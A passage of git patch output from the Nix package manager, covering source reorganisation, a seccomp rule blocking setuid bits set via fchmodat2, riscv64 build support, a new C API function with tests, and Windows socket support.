src/libstore/unix/build/local-derivation-goal.cc | 6 ++++-- src/nix/{unix => }/fmt.cc | 0 src/nix/{unix => }/fmt.md | 0 src/nix/{unix => }/run.cc | 14 +++++++++----- src/nix/{unix => }/run.hh | 0 src/nix/{unix => }/run.md | 0 src/nix/{unix => }/upgrade-nix.cc | 0 src/nix/{unix => }/upgrade-nix.md | 0 11 files changed, 21 insertions(+), 13 deletions(-) rename src/libstore/{unix/build => linux}/personality.cc (95%) rename src/libstore/{unix/build => linux}/personality.hh (80%) rename src/nix/{unix => }/fmt.cc (100%) rename src/nix/{unix => }/fmt.md (100%) rename src/nix/{unix => }/run.cc (97%) rename src/nix/{unix => }/run.hh (100%) rename src/nix/{unix => }/run.md (100%) rename src/nix/{unix => }/upgrade-nix.cc (100%) rename src/nix/{unix => }/upgrade-nix.md (100%) diff --git a/src/libstore/unix/build/personality.cc b/src/libstore/linux/personality.cc similarity index 95% rename from src/libstore/unix/build/personality.cc rename to src/libstore/linux/personality.cc index 1a6201758..255d174a6 100644 --- a/src/libstore/unix/build/personality.cc +++ b/src/libstore/linux/personality.cc @@ -1,18 +1,15 @@ #include "personality.hh" #include "globals.hh" -#if __linux__ #include #include -#endif #include -namespace nix { +namespace nix::linux { void setPersonality(std::string_view system) { -#if __linux__ /* Change the personality to 32-bit if we're doing an i686-linux build on an x86_64-linux machine. */ struct utsname utsbuf; @@ -39,7 +36,6 @@ void setPersonality(std::string_view system) determinism. */ int cur = personality(0xffffffff); if (cur != -1) personality(cur | ADDR_NO_RANDOMIZE); -#endif } } diff --git a/src/libstore/unix/build/personality.hh b/src/libstore/linux/personality.hh similarity index 80% rename from src/libstore/unix/build/personality.hh rename to src/libstore/linux/personality.hh index 91b730fab..6a6376f8f 100644 --- a/src/libstore/unix/build/personality.hh +++ b/src/libstore/linux/personality.hh @@ -3,7 +3,7 @@ #include -namespace nix { +namespace nix::linux { void setPersonality(std::string_view system); diff --git a/src/libstore/local.mk b/src/libstore/local.mk index 6be748581..2e118f6cb 100644 --- a/src/libstore/local.mk +++ b/src/libstore/local.mk @@ -8,6 +8,9 @@ libstore_SOURCES := $(wildcard $(d)/*.cc $(d)/builtins/*.cc) ifdef HOST_UNIX libstore_SOURCES += $(wildcard $(d)/unix/*.cc $(d)/unix/builtins/*.cc $(d)/unix/build/*.cc) endif +ifdef HOST_LINUX + libstore_SOURCES += $(wildcard $(d)/linux/*.cc) +endif ifdef HOST_WINDOWS libstore_SOURCES += $(wildcard $(d)/windows/*.cc) endif @@ -39,6 +42,9 @@ INCLUDE_libstore := -I $(d) -I $(d)/build ifdef HOST_UNIX INCLUDE_libstore += -I $(d)/unix endif +ifdef HOST_LINUX + INCLUDE_libstore += -I $(d)/linux +endif ifdef HOST_WINDOWS INCLUDE_libstore += -I $(d)/windows endif diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc index 99a91a7f1..33208a622 100644 --- a/src/libstore/unix/build/local-derivation-goal.cc +++ b/src/libstore/unix/build/local-derivation-goal.cc @@ -14,7 +14,6 @@ #include "topo-sort.hh" #include "callback.hh" #include "json-utils.hh" -#include "personality.hh" #include "current-process.hh" #include "child.hh" #include "unix-domain-socket.hh" @@ -52,6 +51,7 @@ # endif # define pivot_root(new_root, put_old) (syscall(SYS_pivot_root, new_root, put_old)) # include "cgroup.hh" +# include "personality.hh" #endif #if __APPLE__ @@ -1957,7 +1957,9 @@ void LocalDerivationGoal::runChild() /* Close all other file descriptors. */ closeMostFDs({STDIN_FILENO, STDOUT_FILENO, STDERR_FILENO}); - setPersonality(drv->platform); +#if __linux__ + linux::setPersonality(drv->platform); +#endif /* Disable core dumps by default. */ struct rlimit limit = { 0, RLIM_INFINITY }; diff --git a/src/nix/unix/fmt.cc b/src/nix/fmt.cc similarity index 100% rename from src/nix/unix/fmt.cc rename to src/nix/fmt.cc diff --git a/src/nix/unix/fmt.md b/src/nix/fmt.md similarity index 100% rename from src/nix/unix/fmt.md rename to src/nix/fmt.md diff --git a/src/nix/unix/run.cc b/src/nix/run.cc similarity index 97% rename from src/nix/unix/run.cc rename to src/nix/run.cc index dfd8b643c..c45683302 100644 --- a/src/nix/unix/run.cc +++ b/src/nix/run.cc @@ -5,15 +5,15 @@ #include "shared.hh" #include "store-api.hh" #include "derivations.hh" -#include "local-store.hh" +#include "local-fs-store.hh" #include "finally.hh" #include "source-accessor.hh" #include "progress-bar.hh" #include "eval.hh" -#include "build/personality.hh" #if __linux__ -#include +# include +# include "personality.hh" #endif #include @@ -56,8 +56,10 @@ void runProgramInStore(ref store, throw SysError("could not execute chroot helper"); } +#if __linux__ if (system) - setPersonality(*system); + linux::setPersonality(*system); +#endif if (useSearchPath == UseSearchPath::Use) execvp(program.c_str(), stringsToCharPtrs(args).data()); @@ -277,8 +279,10 @@ void chrootHelper(int argc, char * * argv) writeFile("/proc/self/uid_map", fmt("%d %d %d", uid, uid, 1)); writeFile("/proc/self/gid_map", fmt("%d %d %d", gid, gid, 1)); +#if __linux__ if (system != "") - setPersonality(system); + linux::setPersonality(system); +#endif execvp(cmd.c_str(), stringsToCharPtrs(args).data()); diff --git a/src/nix/unix/run.hh b/src/nix/run.hh similarity index 100% rename from src/nix/unix/run.hh rename to src/nix/run.hh diff --git a/src/nix/unix/run.md b/src/nix/run.md similarity index 100% rename from src/nix/unix/run.md rename to src/nix/run.md diff --git a/src/nix/unix/upgrade-nix.cc b/src/nix/upgrade-nix.cc similarity index 100% rename from src/nix/unix/upgrade-nix.cc rename to src/nix/upgrade-nix.cc diff --git a/src/nix/unix/upgrade-nix.md b/src/nix/upgrade-nix.md similarity index 100% rename from src/nix/unix/upgrade-nix.md rename to src/nix/upgrade-nix.md From 9c815db36681ac01ea7422725a0ac2e183e39b16 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 17 Apr 2024 19:55:40 -0400 Subject: [PATCH 0485/1251] `file-descriptor.hh`: Avoid some Cism for better C++isms - `reinterpret_cast` not C-style cast - `using` not `typedef` --- src/libutil/file-descriptor.hh | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/src/libutil/file-descriptor.hh b/src/libutil/file-descriptor.hh index 50201d846..84786e95a 100644 --- a/src/libutil/file-descriptor.hh +++ b/src/libutil/file-descriptor.hh @@ -17,13 +17,13 @@ struct Source; /** * Operating System capability */ -typedef +using Descriptor = #if _WIN32 HANDLE #else int #endif - Descriptor; + ; const Descriptor INVALID_DESCRIPTOR = #if _WIN32 @@ -41,7 +41,7 @@ const Descriptor INVALID_DESCRIPTOR = static inline Descriptor toDescriptor(int fd) { #ifdef _WIN32 - return (HANDLE) _get_osfhandle(fd); + return reinterpret_cast(_get_osfhandle(fd)); #else return fd; #endif @@ -56,7 +56,7 @@ static inline Descriptor toDescriptor(int fd) static inline int fromDescriptorReadOnly(Descriptor fd) { #ifdef _WIN32 - return _open_osfhandle((intptr_t) fd, _O_RDONLY); + return _open_osfhandle(reinterpret_cast(fd), _O_RDONLY); #else return fd; #endif From ba6804518772e6afb403dd55478365d4b863c854 Mon Sep 17 00:00:00 2001 From: Maximilian Bosch Date: Sun, 14 Apr 2024 14:10:23 +0200 Subject: [PATCH 0486/1251] libstore/local-derivation-goal: prohibit creating setuid/setgid binaries MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit With Linux kernel >=6.6 & glibc 2.39 a `fchmodat2(2)` is available that isn't filtered away by the libseccomp sandbox. Being able to use this to bypass that restriction has surprising results for some builds such as lxc[1]: > With kernel ≥6.6 and glibc 2.39, lxc's install phase uses fchmodat2, > which slips through https://github.com/NixOS/nix/blob/9b88e5284608116b7db0dbd3d5dd7a33b90d52d7/src/libstore/build/local-derivation-goal.cc#L1650-L1663. > The fixupPhase then uses fchmodat, which fails. > With older kernel or glibc, setting the suid bit fails in the > install phase, which is not treated as fatal, and then the > fixup phase does not try to set it again. Please note that there are still ways to bypass this sandbox[2] and this is mostly a fix for the breaking builds. This change works by creating a syscall filter for the `fchmodat2` syscall (number 452 on most systems). The problem is that glibc 2.39 and seccomp 2.5.5 are needed to have the correct syscall number available via `__NR_fchmodat2` / `__SNR_fchmodat2`, but this flake is still on nixpkgs 23.11. To have this change everywhere and not dependent on the glibc this package is built against, I added a header "fchmodat2-compat.hh" that sets the syscall number based on the architecture. On most platforms its 452 according to glibc with a few exceptions: $ rg --pcre2 'define __NR_fchmodat2 (?!452)' sysdeps/unix/sysv/linux/x86_64/x32/arch-syscall.h 58:#define __NR_fchmodat2 1073742276 sysdeps/unix/sysv/linux/mips/mips64/n32/arch-syscall.h 67:#define __NR_fchmodat2 6452 sysdeps/unix/sysv/linux/mips/mips64/n64/arch-syscall.h 62:#define __NR_fchmodat2 5452 sysdeps/unix/sysv/linux/mips/mips32/arch-syscall.h 70:#define __NR_fchmodat2 4452 sysdeps/unix/sysv/linux/alpha/arch-syscall.h 59:#define __NR_fchmodat2 562 I tested the change by adding the diff below as patch to `pkgs/tools/package-management/nix/common.nix` & then built a VM from the following config using my dirty nixpkgs master: { vm = { pkgs, ... }: { virtualisation.writableStore = true; virtualisation.memorySize = 8192; virtualisation.diskSize = 12 * 1024; nix.package = pkgs.nixVersions.nix_2_21; }; } The original issue can be triggered via nix build -L github:nixos/nixpkgs/d6dc19adbda4fd92fe9a332327a8113eaa843894#lxc \ --extra-experimental-features 'nix-command flakes' however the problem disappears with this patch applied. Closes #10424 [1] https://github.com/NixOS/nixpkgs/issues/300635#issuecomment-2031073804 [2] https://github.com/NixOS/nixpkgs/issues/300635#issuecomment-2030844251 --- src/libstore/linux/fchmodat2-compat.hh | 34 +++++++++++++++++++ .../unix/build/local-derivation-goal.cc | 5 +++ 2 files changed, 39 insertions(+) create mode 100644 src/libstore/linux/fchmodat2-compat.hh diff --git a/src/libstore/linux/fchmodat2-compat.hh b/src/libstore/linux/fchmodat2-compat.hh new file mode 100644 index 000000000..fd03b9ed5 --- /dev/null +++ b/src/libstore/linux/fchmodat2-compat.hh @@ -0,0 +1,34 @@ +/* + * Determine the syscall number for `fchmodat2`. + * + * On most platforms this is 452. Exceptions can be found on + * a glibc git checkout via `rg --pcre2 'define __NR_fchmodat2 (?!452)'`. + * + * The problem is that glibc 2.39 and libseccomp 2.5.5 are needed to + * get the syscall number. However, a Nix built against nixpkgs 23.11 + * (glibc 2.38) should still have the issue fixed without depending + * on the build environment. + * + * To achieve that, the macros below try to determine the platform and + * set the syscall number which is platform-specific, but + * in most cases 452. + * + * TODO: remove this when 23.11 is EOL and the entire (supported) ecosystem + * is on glibc 2.39. + */ + +#if HAVE_SECCOMP +# if defined(__alpha__) +# define NIX_SYSCALL_FCHMODAT2 562 +# elif defined(__x86_64__) && SIZE_MAX == 0xFFFFFFFF // x32 +# define NIX_SYSCALL_FCHMODAT2 1073742276 +# elif defined(__mips__) && defined(__mips64) && defined(_ABIN64) // mips64/n64 +# define NIX_SYSCALL_FCHMODAT2 5452 +# elif defined(__mips__) && defined(__mips64) && defined(_ABIN32) // mips64/n32 +# define NIX_SYSCALL_FCHMODAT2 6452 +# elif defined(__mips__) && defined(_ABIO32) // mips32 +# define NIX_SYSCALL_FCHMODAT2 4452 +# else +# define NIX_SYSCALL_FCHMODAT2 452 +# endif +#endif // HAVE_SECCOMP diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc index 33208a622..2d691143c 100644 --- a/src/libstore/unix/build/local-derivation-goal.cc +++ b/src/libstore/unix/build/local-derivation-goal.cc @@ -37,6 +37,7 @@ /* Includes required for chroot support. */ #if __linux__ +# include "linux/fchmodat2-compat.hh" # include # include # include @@ -1672,6 +1673,10 @@ void setupSeccomp() if (seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EPERM), SCMP_SYS(fchmodat), 1, SCMP_A2(SCMP_CMP_MASKED_EQ, (scmp_datum_t) perm, (scmp_datum_t) perm)) != 0) throw SysError("unable to add seccomp rule"); + + if (seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EPERM), NIX_SYSCALL_FCHMODAT2, 1, + SCMP_A2(SCMP_CMP_MASKED_EQ, (scmp_datum_t) perm, (scmp_datum_t) perm)) != 0) + throw SysError("unable to add seccomp rule"); } /* Prevent builders from creating EAs or ACLs. Not all filesystems From fb9f4208ed371afe23307f9b6cb9ada618bada9b Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 15 Apr 2024 16:57:07 -0400 Subject: [PATCH 0487/1251] Don't include `linux/` in `#include` The linux dirs are conditionally added to the `-I` path. --- src/libstore/unix/build/local-derivation-goal.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc index 2d691143c..aad5173e7 100644 --- a/src/libstore/unix/build/local-derivation-goal.cc +++ b/src/libstore/unix/build/local-derivation-goal.cc @@ -37,7 +37,7 @@ /* Includes required for chroot support. */ #if __linux__ -# include "linux/fchmodat2-compat.hh" +# include "fchmodat2-compat.hh" # include # include # include From e3fa7c38d7af8f34de0c24766b2e8cf1cd1330f0 Mon Sep 17 00:00:00 2001 From: 0x4A6F <0x4A6F@users.noreply.github.com> Date: Thu, 18 Apr 2024 13:10:52 +0200 Subject: [PATCH 0488/1251] system: build for riscv64-unknown-linux-gnu (#10228) * system: add support for riscv64-unknown-linux-gnu * maintainers: upload riscv64-linux-gnu * doc: add riscv64-linux to supported platforms --- doc/manual/src/contributing/hacking.md | 6 +++++- flake.nix | 3 +++ maintainers/upload-release.pl | 4 ++++ 3 files changed, 12 insertions(+), 1 deletion(-) diff --git a/doc/manual/src/contributing/hacking.md b/doc/manual/src/contributing/hacking.md index d56ac29a4..c43149c4d 100644 --- a/doc/manual/src/contributing/hacking.md +++ b/doc/manual/src/contributing/hacking.md @@ -144,6 +144,7 @@ Nix can be built for various platforms, as specified in [`flake.nix`]: - `aarch64-darwin` - `armv6l-linux` - `armv7l-linux` +- `riscv64-linux` In order to build Nix for a different platform than the one you're currently on, you need a way for your current Nix installation to build code for that @@ -166,7 +167,10 @@ or for Nix with the [`flakes`] and [`nix-command`] experimental features enabled $ nix build .#packages.aarch64-linux.default ``` -Cross-compiled builds are available for ARMv6 (`armv6l-linux`) and ARMv7 (`armv7l-linux`). +Cross-compiled builds are available for: +- `armv6l-linux` +- `armv7l-linux` +- `riscv64-linux` Add more [system types](#system-type) to `crossSystems` in `flake.nix` to bootstrap Nix on unsupported platforms. ### Building for multiple platforms at once diff --git a/flake.nix b/flake.nix index 8ee46101b..07d909fcd 100644 --- a/flake.nix +++ b/flake.nix @@ -31,6 +31,7 @@ crossSystems = [ "armv6l-unknown-linux-gnueabihf" "armv7l-unknown-linux-gnueabihf" + "riscv64-unknown-linux-gnu" "x86_64-unknown-netbsd" "x86_64-w64-mingw32" ]; @@ -253,6 +254,7 @@ # Cross self.hydraJobs.binaryTarballCross."x86_64-linux"."armv6l-unknown-linux-gnueabihf" self.hydraJobs.binaryTarballCross."x86_64-linux"."armv7l-unknown-linux-gnueabihf" + self.hydraJobs.binaryTarballCross."x86_64-linux"."riscv64-unknown-linux-gnu" ]; installerScriptForGHA = installScriptFor [ # Native @@ -261,6 +263,7 @@ # Cross self.hydraJobs.binaryTarballCross."x86_64-linux"."armv6l-unknown-linux-gnueabihf" self.hydraJobs.binaryTarballCross."x86_64-linux"."armv7l-unknown-linux-gnueabihf" + self.hydraJobs.binaryTarballCross."x86_64-linux"."riscv64-unknown-linux-gnu" ]; # docker image with Nix inside diff --git a/maintainers/upload-release.pl b/maintainers/upload-release.pl index f2830a3af..6d1b7631d 100755 --- a/maintainers/upload-release.pl +++ b/maintainers/upload-release.pl @@ -171,6 +171,10 @@ eval { downloadFile("binaryTarballCross.x86_64-linux.armv7l-unknown-linux-gnueabihf", "1"); }; warn "$@" if $@; +eval { + downloadFile("binaryTarballCross.x86_64-linux.riscv64-linux-gnu", "1"); +}; +warn "$@" if $@; downloadFile("installerScript", "1"); # Upload docker images to dockerhub. From f8a67d7e26296c325410febdf10cf21b27ef57d1 Mon Sep 17 00:00:00 2001 From: 0x4A6F <0x4A6F@users.noreply.github.com> Date: Thu, 18 Apr 2024 17:09:11 +0200 Subject: [PATCH 0489/1251] scripts/upload-release: fix riscv64 call --- maintainers/upload-release.pl | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/maintainers/upload-release.pl b/maintainers/upload-release.pl index 6d1b7631d..9a30f8227 100755 --- a/maintainers/upload-release.pl +++ b/maintainers/upload-release.pl @@ -172,7 +172,7 @@ eval { }; warn "$@" if $@; eval { - downloadFile("binaryTarballCross.x86_64-linux.riscv64-linux-gnu", "1"); + downloadFile("binaryTarballCross.x86_64-linux.riscv64-unknown-linux-gnu", "1"); }; warn "$@" if $@; downloadFile("installerScript", "1"); From ad643cde587805ac6e03cef4e51ca5a4268829d6 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 17 Apr 2024 17:41:23 +0200 Subject: [PATCH 0490/1251] C API: Add nix_init_apply Thunks are relevant when initializing attrsets and lists, passing arguments. This is an important way to produce them. --- src/libexpr-c/nix_api_expr.h | 2 + src/libexpr-c/nix_api_value.cc | 13 +++ src/libexpr-c/nix_api_value.h | 20 ++++- tests/unit/libexpr/nix_api_value.cc | 124 ++++++++++++++++++++++++++++ 4 files changed, 157 insertions(+), 2 deletions(-) diff --git a/src/libexpr-c/nix_api_expr.h b/src/libexpr-c/nix_api_expr.h index 7504b5d7a..fd9746ab7 100644 --- a/src/libexpr-c/nix_api_expr.h +++ b/src/libexpr-c/nix_api_expr.h @@ -93,6 +93,8 @@ nix_err nix_expr_eval_from_string( * @param[in] arg The argument to pass to the function. * @param[out] value The result of the function call. * @return NIX_OK if the function call was successful, an error code otherwise. + * @see nix_init_apply() for a similar function that does not performs the call immediately, but stores it as a thunk. + * Note the different argument order. */ nix_err nix_value_call(nix_c_context * context, EvalState * state, Value * fn, Value * arg, Value * value); diff --git a/src/libexpr-c/nix_api_value.cc b/src/libexpr-c/nix_api_value.cc index 79e62a1d2..2550e975a 100644 --- a/src/libexpr-c/nix_api_value.cc +++ b/src/libexpr-c/nix_api_value.cc @@ -404,6 +404,19 @@ nix_err nix_init_null(nix_c_context * context, Value * value) NIXC_CATCH_ERRS } +nix_err nix_init_apply(nix_c_context * context, Value * value, Value * fn, Value * arg) +{ + if (context) + context->last_err_code = NIX_OK; + try { + auto & v = check_value_not_null(value); + auto & f = check_value_not_null(fn); + auto & a = check_value_not_null(arg); + v.mkApp(&f, &a); + } + NIXC_CATCH_ERRS +} + nix_err nix_init_external(nix_c_context * context, Value * value, ExternalValue * val) { if (context) diff --git a/src/libexpr-c/nix_api_value.h b/src/libexpr-c/nix_api_value.h index e6744e610..d8bd77c33 100644 --- a/src/libexpr-c/nix_api_value.h +++ b/src/libexpr-c/nix_api_value.h @@ -342,8 +342,24 @@ nix_err nix_init_int(nix_c_context * context, Value * value, int64_t i); * @param[out] value Nix value to modify * @return error code, NIX_OK on success. */ - nix_err nix_init_null(nix_c_context * context, Value * value); + +/** @brief Set the value to a thunk that will perform a function application when needed. + * + * Thunks may be put into attribute sets and lists to perform some computation lazily; on demand. + * However, note that in some places, a thunk must not be returned, such as in the return value of a PrimOp. + * In such cases, you may use nix_value_call() instead (but note the different argument order). + * + * @param[out] context Optional, stores error information + * @param[out] value Nix value to modify + * @param[in] fn function to call + * @param[in] arg argument to pass + * @return error code, NIX_OK on successful initialization. + * @see nix_value_call() for a similar function that performs the call immediately and only stores the return value. + * Note the different argument order. + */ +nix_err nix_init_apply(nix_c_context * context, Value * value, Value * fn, Value * arg); + /** @brief Set an external value * @param[out] context Optional, stores error information * @param[out] value Nix value to modify @@ -421,7 +437,7 @@ BindingsBuilder * nix_make_bindings_builder(nix_c_context * context, EvalState * /** @brief Insert bindings into a builder * @param[out] context Optional, stores error information * @param[in] builder BindingsBuilder to insert into - * @param[in] name attribute name, copied into the symbol store + * @param[in] name attribute name, only used for the duration of the call. * @param[in] value value to give the binding * @return error code, NIX_OK on success. */ diff --git a/tests/unit/libexpr/nix_api_value.cc b/tests/unit/libexpr/nix_api_value.cc index 7fbb2bbdc..ac0cdb9c4 100644 --- a/tests/unit/libexpr/nix_api_value.cc +++ b/tests/unit/libexpr/nix_api_value.cc @@ -8,6 +8,7 @@ #include "tests/nix_api_expr.hh" #include "tests/string_callback.hh" +#include "gmock/gmock.h" #include #include @@ -187,4 +188,127 @@ TEST_F(nix_api_expr_test, nix_build_and_init_attr) free(out_name); } +TEST_F(nix_api_expr_test, nix_value_init) +{ + // Setup + + // two = 2; + // f = a: a * a; + + Value * two = nix_alloc_value(ctx, state); + nix_init_int(ctx, two, 2); + + Value * f = nix_alloc_value(ctx, state); + nix_expr_eval_from_string( + ctx, state, R"( + a: a * a + )", + "", f); + + // Test + + // r = f two; + + Value * r = nix_alloc_value(ctx, state); + nix_init_apply(ctx, r, f, two); + assert_ctx_ok(); + + ValueType t = nix_get_type(ctx, r); + assert_ctx_ok(); + + ASSERT_EQ(t, NIX_TYPE_THUNK); + + nix_value_force(ctx, state, r); + + t = nix_get_type(ctx, r); + assert_ctx_ok(); + + ASSERT_EQ(t, NIX_TYPE_INT); + + int n = nix_get_int(ctx, r); + assert_ctx_ok(); + + ASSERT_EQ(n, 4); + + // Clean up + nix_gc_decref(ctx, two); + nix_gc_decref(ctx, f); + nix_gc_decref(ctx, r); +} + +TEST_F(nix_api_expr_test, nix_value_init_apply_error) +{ + Value * some_string = nix_alloc_value(ctx, state); + nix_init_string(ctx, some_string, "some string"); + assert_ctx_ok(); + + Value * v = nix_alloc_value(ctx, state); + nix_init_apply(ctx, v, some_string, some_string); + assert_ctx_ok(); + + // All ok. Call has not been evaluated yet. + + // Evaluate it + nix_value_force(ctx, state, v); + ASSERT_EQ(ctx->last_err_code, NIX_ERR_NIX_ERROR); + ASSERT_THAT(ctx->last_err.value(), testing::HasSubstr("attempt to call something which is not a function but")); + + // Clean up + nix_gc_decref(ctx, some_string); + nix_gc_decref(ctx, v); +} + +TEST_F(nix_api_expr_test, nix_value_init_apply_lazy_arg) +{ + // f is a lazy function: it does not evaluate its argument before returning its return value + // g is a helper to produce e + // e is a thunk that throws an exception + // + // r = f e + // r should not throw an exception, because e is not evaluated + + Value * f = nix_alloc_value(ctx, state); + nix_expr_eval_from_string( + ctx, state, R"( + a: { foo = a; } + )", + "", f); + assert_ctx_ok(); + + Value * e = nix_alloc_value(ctx, state); + { + Value * g = nix_alloc_value(ctx, state); + nix_expr_eval_from_string( + ctx, state, R"( + _ignore: throw "error message for test case nix_value_init_apply_lazy_arg" + )", + "", g); + assert_ctx_ok(); + + nix_init_apply(ctx, e, g, g); + assert_ctx_ok(); + nix_gc_decref(ctx, g); + } + + Value * r = nix_alloc_value(ctx, state); + nix_init_apply(ctx, r, f, e); + assert_ctx_ok(); + + nix_value_force(ctx, state, r); + assert_ctx_ok(); + + auto n = nix_get_attrs_size(ctx, r); + assert_ctx_ok(); + ASSERT_EQ(1, n); + + // nix_get_attr_byname isn't lazy (it could have been) so it will throw the exception + Value * foo = nix_get_attr_byname(ctx, r, state, "foo"); + ASSERT_EQ(nullptr, foo); + ASSERT_THAT(ctx->last_err.value(), testing::HasSubstr("error message for test case nix_value_init_apply_lazy_arg")); + + // Clean up + nix_gc_decref(ctx, f); + nix_gc_decref(ctx, e); +} + } From 3a3c205fa7b25dee3e6794cc40873faed63b6fce Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 18 Apr 2024 16:56:42 -0400 Subject: [PATCH 0491/1251] Use `rand` not `random` for creating GC root indirect links I don't think fewer bits matters for this, and `rand` but not `random` is available on Windows. --- src/libmain/shared.cc | 3 ++- src/libstore/unix/gc.cc | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/src/libmain/shared.cc b/src/libmain/shared.cc index a43a00f16..e09aed2c6 100644 --- a/src/libmain/shared.cc +++ b/src/libmain/shared.cc @@ -173,12 +173,13 @@ void initNix() everybody. */ umask(0022); -#ifndef _WIN32 /* Initialise the PRNG. */ struct timeval tv; gettimeofday(&tv, 0); +#ifndef _WIN32 srandom(tv.tv_usec); #endif + srand(tv.tv_usec); } diff --git a/src/libstore/unix/gc.cc b/src/libstore/unix/gc.cc index 9b2e6d525..68d049485 100644 --- a/src/libstore/unix/gc.cc +++ b/src/libstore/unix/gc.cc @@ -41,7 +41,7 @@ static void makeSymlink(const Path & link, const Path & target) createDirs(dirOf(link)); /* Create the new symlink. */ - Path tempLink = fmt("%1%.tmp-%2%-%3%", link, getpid(), random()); + Path tempLink = fmt("%1%.tmp-%2%-%3%", link, getpid(), rand()); createSymlink(target, tempLink); /* Atomically replace the old one. */ From b973cd494feb03488260580be862d1232f158f0f Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 18 Apr 2024 16:49:52 -0400 Subject: [PATCH 0492/1251] Enable the `unix://` store on Windows Windows now has some basic Unix Domain Socket support, see https://devblogs.microsoft.com/commandline/af_unix-comes-to-windows/ Building `nix daemon` on Windows I've left for later, because the daemon currently forks per connection but this is not an option on Windows. But we can get the client part working right away. --- src/libstore/indirect-root-store.cc | 44 ++++++++++ src/libstore/indirect-root-store.hh | 3 + src/libstore/local.mk | 3 + src/libstore/{unix => }/uds-remote-store.cc | 16 ++-- src/libstore/{unix => }/uds-remote-store.hh | 0 src/libstore/{unix => }/uds-remote-store.md | 0 src/libstore/unix/gc.cc | 40 ---------- src/libutil/{unix => }/unix-domain-socket.cc | 30 ++++--- src/libutil/unix-domain-socket.hh | 84 ++++++++++++++++++++ src/libutil/unix/unix-domain-socket.hh | 31 -------- 10 files changed, 164 insertions(+), 87 deletions(-) create mode 100644 src/libstore/indirect-root-store.cc rename src/libstore/{unix => }/uds-remote-store.cc (86%) rename src/libstore/{unix => }/uds-remote-store.hh (100%) rename src/libstore/{unix => }/uds-remote-store.md (100%) rename src/libutil/{unix => }/unix-domain-socket.cc (84%) create mode 100644 src/libutil/unix-domain-socket.hh delete mode 100644 src/libutil/unix/unix-domain-socket.hh diff --git a/src/libstore/indirect-root-store.cc b/src/libstore/indirect-root-store.cc new file mode 100644 index 000000000..b92279928 --- /dev/null +++ b/src/libstore/indirect-root-store.cc @@ -0,0 +1,44 @@ +#include "indirect-root-store.hh" + +namespace nix { + +void IndirectRootStore::makeSymlink(const Path & link, const Path & target) +{ + /* Create directories up to `gcRoot'. */ + createDirs(dirOf(link)); + + /* Create the new symlink. */ + Path tempLink = fmt("%1%.tmp-%2%-%3%", link, getpid(), rand()); + createSymlink(target, tempLink); + + /* Atomically replace the old one. */ + renameFile(tempLink, link); +} + + +Path IndirectRootStore::addPermRoot(const StorePath & storePath, const Path & _gcRoot) +{ + Path gcRoot(canonPath(_gcRoot)); + + if (isInStore(gcRoot)) + throw Error( + "creating a garbage collector root (%1%) in the Nix store is forbidden " + "(are you running nix-build inside the store?)", gcRoot); + + /* Register this root with the garbage collector, if it's + running. This should be superfluous since the caller should + have registered this root yet, but let's be on the safe + side. */ + addTempRoot(storePath); + + /* Don't clobber the link if it already exists and doesn't + point to the Nix store. */ + if (pathExists(gcRoot) && (!isLink(gcRoot) || !isInStore(readLink(gcRoot)))) + throw Error("cannot create symlink '%1%'; already exists", gcRoot); + makeSymlink(gcRoot, printStorePath(storePath)); + addIndirectRoot(gcRoot); + + return gcRoot; +} + +} diff --git a/src/libstore/indirect-root-store.hh b/src/libstore/indirect-root-store.hh index c11679fe8..b74ebc1ee 100644 --- a/src/libstore/indirect-root-store.hh +++ b/src/libstore/indirect-root-store.hh @@ -67,6 +67,9 @@ struct IndirectRootStore : public virtual LocalFSStore * The form this weak-reference takes is implementation-specific. */ virtual void addIndirectRoot(const Path & path) = 0; + +protected: + void makeSymlink(const Path & link, const Path & target); }; } diff --git a/src/libstore/local.mk b/src/libstore/local.mk index 2e118f6cb..590a230e5 100644 --- a/src/libstore/local.mk +++ b/src/libstore/local.mk @@ -21,6 +21,9 @@ libstore_LDFLAGS += $(SQLITE3_LIBS) $(LIBCURL_LIBS) $(THREAD_LDFLAGS) ifdef HOST_LINUX libstore_LDFLAGS += -ldl endif +ifdef HOST_WINDOWS + libstore_LDFLAGS += -lws2_32 +endif $(foreach file,$(libstore_FILES),$(eval $(call install-data-in,$(d)/$(file),$(datadir)/nix/sandbox))) diff --git a/src/libstore/unix/uds-remote-store.cc b/src/libstore/uds-remote-store.cc similarity index 86% rename from src/libstore/unix/uds-remote-store.cc rename to src/libstore/uds-remote-store.cc index 226cdf717..649644146 100644 --- a/src/libstore/unix/uds-remote-store.cc +++ b/src/libstore/uds-remote-store.cc @@ -2,16 +2,20 @@ #include "unix-domain-socket.hh" #include "worker-protocol.hh" +#include #include #include -#include -#include #include #include #include -#include - +#ifdef _WIN32 +# include +# include +#else +# include +# include +#endif namespace nix { @@ -57,7 +61,7 @@ std::string UDSRemoteStore::getUri() void UDSRemoteStore::Connection::closeWrite() { - shutdown(fd.get(), SHUT_WR); + shutdown(toSocket(fd.get()), SHUT_WR); } @@ -68,7 +72,7 @@ ref UDSRemoteStore::openConnection() /* Connect to a daemon that does the privileged work for us. */ conn->fd = createUnixDomainSocket(); - nix::connect(conn->fd.get(), path ? *path : settings.nixDaemonSocketFile); + nix::connect(toSocket(conn->fd.get()), path ? *path : settings.nixDaemonSocketFile); conn->from.fd = conn->fd.get(); conn->to.fd = conn->fd.get(); diff --git a/src/libstore/unix/uds-remote-store.hh b/src/libstore/uds-remote-store.hh similarity index 100% rename from src/libstore/unix/uds-remote-store.hh rename to src/libstore/uds-remote-store.hh diff --git a/src/libstore/unix/uds-remote-store.md 